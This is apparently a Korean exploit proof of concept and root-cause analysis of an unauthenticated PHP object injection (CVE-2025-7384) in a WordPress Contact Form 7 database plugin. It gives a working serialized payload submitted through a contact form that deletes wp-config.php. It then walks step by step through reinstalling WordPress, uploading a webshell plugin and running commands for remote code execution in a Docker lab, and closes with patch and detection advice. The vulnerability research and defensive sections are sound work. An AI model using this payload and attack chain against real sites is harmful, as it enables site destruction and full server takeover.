
WordPress Database for Contact Form 7의 인증되지 않은 치명적인 PHP 객체 인젝션에 대한 Exploit PoC 및 근본 원인 분석으로, 임의 파일 삭제를 통한 RCE로 이어집니다.
플러그인: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8 (치명적)
CWE: CWE-502 — 신뢰할 수 없는 데이터의 역직렬화
인증 요구 사항: 없음 (비인증)
영향: 원격 코드 실행
"Database for Contact Form 7" 플러그인(슬러그: contact-form-entries) 버전 1.4.3 이하에는 PHP 객체 인젝션 취약점이 존재합니다. WordPress 관리자가 관리자 패널에서 양식 기록(항목)을 조회하면, 이 플러그인은 인증되지 않은 사용자가 Contact Form 7을 통해 제출한 데이터에 대해 인스턴스화할 수 있는 클래스 목록을 제어하지 않은 채 maybe_unserialize() 함수를 직접 호출합니다.
공격자는 로그인할 필요가 없습니다. 직렬화된 PHP 객체를 아무 양식 필드에 삽입하여 일반 문의 양식을 제출하기만 하면 됩니다. 이 데이터는 데이터베이스에 원본 그대로 저장됩니다. 관리자가 해당 항목을 열어 보면 역직렬화 함수가 공격자가 선택한 객체를 인스턴스화하여 __destruct() 또는 __wakeup() 같은 매직 메서드를 트리거하고, WordPress 환경에 존재하는 POP 가젯에 따라 임의의 동작을 실행하게 됩니다.
심각도: 적절한 POP 가젯(예:
__destruct()메서드에서unlink()를 호출하는 클래스)이 있으면 공격자는wp-config.php파일을 삭제하여 WordPress를 초기 설치 화면으로 되돌릴 수 있습니다 → 이후 공격자가 통제하는 관리자 계정으로 재설치 → 웹셸이 포함된 플러그인 설치 → 서버에서 완전한 원격 코드 실행(RCE) 달성.
PHP는 객체를 구조화된 텍스트 문자열로 변환하기 위해 serialize()를 사용하고, 그 문자열에서 객체를 복원하기 위해 unserialize()를 사용합니다. unserialize()가 신뢰할 수 없는 소스(예: 사용자 입력)로부터 데이터를 받으면, 공격자는 해당 시점에 PHP 메모리에 로드된 클래스에 속하는 임의의 객체를 구성할 수 있습니다.
PHP가 객체 수명 주기 동안 자동으로 호출하는 특수 메서드입니다. 이 맥락에서 가장 중요한 것:
__wakeup() — 객체가 역직렬화될 때 즉시 호출됨__destruct() — 객체가 소멸될 때(범위를 벗어나거나 요청이 종료될 때) 호출됨__toString() — 객체가 문자열로 캐스팅될 때 호출됨애플리케이션 내 기존 클래스의 여러 매직 메서드를 연결하여 위험한 동작 시퀀스를 구성하는 기법입니다. 공격자는 새 코드를 작성하지 않으며, 기존 객체의 속성만 조작하여 매직 메서드가 실행될 때 개발자가 의도하지 않은 동작을 수행하게 합니다.
maybe_unserialize()WordPress 코어 래퍼 함수입니다. is_serialized()를 호출하여 문자열이 직렬화된 데이터인지 확인하고, 맞으면 unserialize()를 호출하여 객체를 복원합니다. 문제: 이 함수는 인스턴스화가 허용되는 클래스를 제한하기 위해 allowed_classes 매개변수(PHP 7.0부터 사용 가능)를 전달하지 않습니다.
먼저 플러그인 전체 소스 코드를 grep하여 역직렬화 함수를 찾습니다. 이들은 PHP에서 가장 위험한 함수로, 객체 인젝션으로 이어질 수 있습니다:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

출력 결과 maybe_unserialize() 호출 지점이 여러 곳 발견되며, 특히 includes/data.php의 545행, verify_val() 함수 내부에 있습니다:

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
핵심 질문: $string 변수는 어디에서 오는가? 필터링 없이 사용자 입력에서 온다면 → 이는 취약점입니다.
verify_val()이 호출되는 위치를 찾습니다. 같은 data.php 파일에서 역추적합니다:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string은 정확히 $v['value'], 즉 wp_vxcf_leads_detail 데이터베이스 테이블에서 가져온 값입니다. 이 함수는 관리자가 양식 항목의 세부 정보를 조회할 때 호출됩니다.
다음 질문: wp_vxcf_leads_detail 내부의 데이터는 어디에서 오는가? 누가 기록하는가?
2단계에서 데이터가 데이터베이스에서 가져와진다는 것을 알았습니다. 다음 질문: 누가 그 안에 데이터를 기록하는가? data.php에서 INSERT 쿼리를 검색합니다:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

자세한 내용은 create_lead() 함수 코드(85-103행)를 확인합니다:

98-99행에서 양식 필드(예: your-message)의 내용인 값 $v가 $wpdb->insert()를 통해 데이터베이스에 직접 삽입됩니다. 이 플러그인은 Contact Form 7의 wpcf7_before_send_mail 이벤트에 후킹되므로, 사용자가 양식을 제출할 때마다 모든 필드가 원본 그대로 저장됩니다.
추가 확인: 플러그인은 저장 전에 sanitize_text_field()와 sanitize_textarea_field()를 사용하지만, 이 두 함수는 HTML 태그와 특수 HTML 문자만 제거합니다. O:21:"VulnerableFileHandler":2:{...} 같은 직렬화된 페이로드에는 HTML 태그가 없으므로 완전히 그대로 통과합니다.
이 시점에서 전체 흐름이 확립됩니다:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
근본 원인:
data.php:545의maybe_unserialize()함수가 인증되지 않은 사용자 입력에서 비롯된 데이터에 대해allowed_classes: false를 전달하지 않고 호출됩니다. 공격자는 CF7 양식의your-message필드를 통해 직렬화된 PHP 객체를 제출하기만 하면 되며, 관리자가 해당 항목을 조회하면 PHP가 그 객체를 인스턴스화하고__destruct()매직 메서드를 트리거합니다.
시각적 증명을 위해 Xdebug를 사용하여 data.php의 545행에 중단점을 설정합니다. 양식을 통해 페이로드를 주입하고 관리자가 항목을 조회하게 한 후, 디버거는 정확히 maybe_unserialize()에서 멈춥니다:

변수 패널에 공격자의 페이로드를 담은 $string이 표시됩니다:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → 페이로드가 양식 → 데이터베이스 → 역직렬화 함수까지 차단 없이 이동함실행 라인:
$string=maybe_unserialize($string);호출 스택은 함수 호출 순서를 보여줍니다:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ 분석된 정확한 흐름 확인: 관리자가 항목 조회 → get_entries() → verify_val() → maybe_unserialize().
공격 체인은 5단계로 구성됩니다. 공격자는 1단계(양식 제출)만 수행하면 됩니다. 2~5단계는 관리자가 항목을 조회한 후 자동으로 발생합니다.
공격자는 메시지 필드에 직렬화된 PHP 객체를 넣어 CF7 양식을 제출합니다.
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message 필드에 포함: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail 테이블에 저장 — sanitize_text_field()는 직렬화된 문자열을 차단하지 않음관리자가 Contact Form Entries 페이지를 열고 → 항목 세부 정보를 조회하면 → 플러그인이 verify_val()을 호출하고 → maybe_unserialize()가 실행됩니다.
file_path = "/var/www/html/wp-config.php", cleanup = true인 VulnerableFileHandler 객체를 인스턴스화함__destruct()를 호출 → unlink("/var/www/html/wp-config.php")wp-config.php 파일이 삭제됩니다 → WordPress는 데이터베이스 연결을 잃습니다.
http://target/에 접속하면 → /wp-admin/setup-config.php(초기 설정 화면)로 자동 리디렉션됨공격자는 알려진(또는 무차별 대입으로 알아낸) 데이터베이스 자격 증명을 사용하여 WordPress를 재설치합니다.
웹셸이 포함된 플러그인을 설치합니다 → 임의의 시스템 명령을 실행합니다.
/wp-content/plugins/shell/shell.php?cmd=iduid=33(www-data) gid=33(www-data) → RCE 완료WordPress + 취약한 플러그인이 포함된 Docker 랩을 시작합니다:
cd CVE-2025-7384
docker-compose up --build -d
로그에 LAB READY가 표시될 때까지 약 40초간 기다립니다. http://localhost:8181에 접속하여 WordPress가 실행 중인지 확인합니다.
3단계의 소스 코드 분석을 통해 다음을 알 수 있습니다:
data.php:545에 위치 — 양식 필드 값에 대한 maybe_unserialize()wp_vxcf_leads_detail 테이블 — 데이터는 CF7 양식에서 옴sanitize_text_field()만 사용 — 직렬화된 문자열을 차단하지 않음→ 결론: CF7 양식의 아무 필드에나 직렬화된 PHP 객체를 제출하면 됩니다. your-message는 텍스트 영역이라 긴 문자열을 허용하고(이메일 형식이 필요한 your-email과 달리) 형식 검증이 적으므로 선택합니다.
http://localhost:8181/contact/에 접속하여 양식을 다음과 같이 작성합니다:
| 필드 | 값 |
|---|---|
| 이름 | dung |
| 이메일 | [email protected] |
| 제목 | test inject |
| 메시지 | O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;} |

페이로드 설명:
O:21:"VulnerableFileHandler" — VulnerableFileHandler 클래스를 인스턴스화함 (__destruct()가 unlink()를 호출)s:9:"file_path";s:27:"/var/www/html/wp-config.php" — file_path 속성은 삭제할 대상 파일을 가리킴s:7:"cleanup";b:1 — cleanup = true 속성이므로 __destruct()가 unlink()를 실행함Submit을 클릭합니다. 양식에 메일 전송 오류 메시지(또는 성공)가 표시되지만 — 이는 무관합니다. contact-form-entries 플러그인은 메일 전송 전에 이미 모든 데이터를 데이터베이스에 저장했기 때문입니다.
http://localhost:8181/wp-admin(admin / admin123)에 로그인합니다 → 왼쪽 메뉴에서 CRM Entries를 선택합니다 → 수신된 항목을 클릭하여 조회합니다.

이것이 실행이 data.php:545에 도달하는 바로 그 순간입니다 — 플러그인이 데이터베이스에서 your-message 값을 가져오고, is_serialized() 검사가 true를 반환하며, maybe_unserialize()를 호출합니다 → PHP가 VulnerableFileHandler 객체를 생성합니다 → 요청이 종료되고 __destruct()가 실행됩니다 → unlink("/var/www/html/wp-config.php").
브라우저에서 http://localhost:8181/로 이동합니다 → WordPress가 /wp-admin/setup-config.php 페이지(초기 설정 화면)로 리디렉션합니다 → wp-config.php 파일이 성공적으로 삭제된 것입니다.

wp-config.php가 삭제되면 WordPress는 미설치 상태로 되돌아갑니다. 공격자의 단계:
1단계 — WordPress 재설치:
http://localhost:8181/wp-admin/setup-config.php에 접속합니다 → 데이터베이스 자격 증명을 입력합니다:
| 필드 | 값 |
|---|---|
| 데이터베이스 이름 | wordpress |
| 사용자 이름 | wpuser |
| 비밀번호 | wppass |
| 데이터베이스 호스트 | db |
| 테이블 접두사 | wp_ |
Submit을 클릭합니다 → 설치를 실행합니다 → 공격자가 통제하는 새 관리자 계정을 생성합니다.
2단계 — 웹셸 업로드:
관리자 대시보드에 로그인합니다 → Plugins → Add New → Upload Plugin → system-health.zip 파일(또는 system-monitor.zip)을 업로드합니다.

업로드 및 활성화가 완료됩니다.
3단계 — 명령 실행 (RCE):
접속: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=id

출력: uid=33(www-data) gid=33(www-data) → 원격 코드 실행 완료
접속: http://localhost:8181/wp-content/plugins/system-monitor/system-monitor.php?cmd=whoami

출력: www-data → 원격 코드 실행 완료
*사용자 상호작용: NVD는 관리자가 양식 항목을 조회하는 것이 비정상적인 사용자 상호작용이 아닌 예상된 동작이므로 None으로 평가합니다.
사용자 제공 데이터에 maybe_unserialize()를 사용하지 마십시오. 구조화된 데이터 저장이 필요할 때는 json_decode()를 대신 사용하십시오.
역직렬화가 반드시 필요하다면 allowed_classes: false 옵션(PHP 7.0+)을 제공하십시오:
$data = unserialize($string, ['allowed_classes' => false]);
이렇게 하면 PHP가 어떤 객체도 인스턴스화하지 못하며 스칼라 유형과 배열만 허용됩니다.
/^[OaCis]:\d+/ 패턴(직렬화 데이터의 표시)과 일치하는 값을 거부하십시오.wp_vxcf_leads_detail 데이터베이스 테이블에서 O:XX:"ClassName": 형식과 일치하는 문자열이 포함된 항목을 검사하십시오 — 존재하면 공격 시도를 의미합니다wp-config.php에 제한적인 파일 권한(440 또는 400)을 설정하십시오 — 웹 서버 프로세스에 의한 삭제 가능성을 줄입니다// BEFORE (vulnerable):
} else if(is_serialized($string)){
$string = maybe_unserialize($string);
}
// AFTER (patched):
} else if(is_serialized($string)){
$string = json_decode(json_encode(
unserialize($string, ['allowed_classes' => false])
), true);
}
| 속성 | 값 |
|---|
| CVE ID | CVE-2025-7384 |
| CVSS 점수 | 9.8 (치명적) |
| CWE | CWE-502 — 신뢰할 수 없는 데이터의 역직렬화 |
| 영향 받는 플러그인 | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| 인증 요구 사항 | 없음 — CF7 양식을 제출하는 모든 사용자가 페이로드를 주입할 수 있음 |
| 트리거 조건 | 관리자가 관리자 패널에서 주입된 항목을 조회할 때 |
| 최대 영향 | 인증되지 않은 원격 코드 실행 |
| 패치 버전 | 1.4.4+ (unserialize를 json_decode 또는 allowed_classes: false로 대체) |
| CVSS 지표 | 값 | 설명 |
|---|
| 공격 경로 | 네트워크 | HTTP를 통해 악용되며 물리적 접근 불필요 |
| 공격 복잡도 | 낮음 | 페이로드를 포함한 POST 요청 1개만 전송하면 됨 |
| 요구 권한 | 없음 | 인증 불필요 — CF7 양식이 공개되어 있음 |
| 사용자 상호작용 | 없음* | 관리자가 일상적인 작업 중 항목을 조회함 |
| 기밀성 | 높음 | RCE로 서버의 모든 파일을 읽을 수 있음 |
| 무결성 | 높음 | RCE로 모든 파일을 쓰거나 수정할 수 있음 |
| 가용성 | 높음 | wp-config.php 삭제로 전체 웹사이트가 중단됨 |